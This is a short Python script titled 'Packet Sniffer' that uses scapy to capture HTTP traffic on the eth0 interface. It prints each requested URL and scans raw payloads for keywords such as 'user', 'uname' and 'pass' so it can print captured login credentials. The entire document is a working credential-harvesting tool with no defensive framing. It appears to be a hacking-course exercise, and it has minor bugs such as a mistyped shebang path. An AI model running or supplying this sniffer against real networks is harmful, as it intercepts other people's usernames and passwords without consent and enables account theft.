Packet Sniffer

#!/user/bin/env python

import scapy.all as scapy
from scapy.layers import http


def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path


def get_login(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        keywords = ["user", "uname", "u-name", "pass"]
        for keyword in keywords:
            if keyword in load:
                return load


def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        print("[+] HTTP Request > " + get_url(packet))

        login_info = get_login(packet)
        if login_info:
            print("\n\n[+] Login found > " + login_info + "\n\n")



sniff("eth0")